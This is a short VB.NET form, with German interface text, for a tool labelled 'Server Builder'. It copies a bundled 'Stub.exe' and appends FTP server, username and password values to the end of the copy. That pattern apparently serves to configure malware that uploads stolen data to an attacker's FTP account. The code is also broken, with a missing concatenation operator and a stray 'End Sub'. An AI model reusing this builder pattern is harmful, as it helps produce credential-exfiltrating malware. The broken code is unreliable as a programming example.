Public Class frmMain
Dim vb6 As New Compatibility.VB6.FixedLengthString(100)
Dim StubPfad As String = My.Application.Info.DirectoryPath & "\Stub.exe"
Private Sub lblServer_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
Private Sub ButtonClose_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ButtonClose.Click
End
End Sub
Private Sub ButtonCompile_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ButtonCompile.Click
With SaveFileDialog1
.CheckPathExists = True
.FileName = "Server.exe"
.Filter = "Ausführbare Dateien (*.exe) | *.exe"
.ShowDialog()
End With
If SaveFileDialog1.FileName = Nothing Then
Exit Sub
End If
Dim FTP As String = txtServer.Text
Dim Name As String = txtUsername.Text
Dim Password As String = txtPassword.Text
IO.File.Copy(StubPfad, SaveFileDialog1.FileName)
vb6.Value = FTP & "_" & Name "_" & Password
FileOpen(1, (SaveFileDialog1.FileName), OpenMode.Binary)
FilePutObject(1, vb6.value, LOF(1) + 1)
FileClose(1)
MessageBox.Show("Kompiliervorgang Erfolgreich!", "Server Builder", MessageBoxButtons.OK, MessageBoxIcon.Information)
End Sub
End Sub
End Class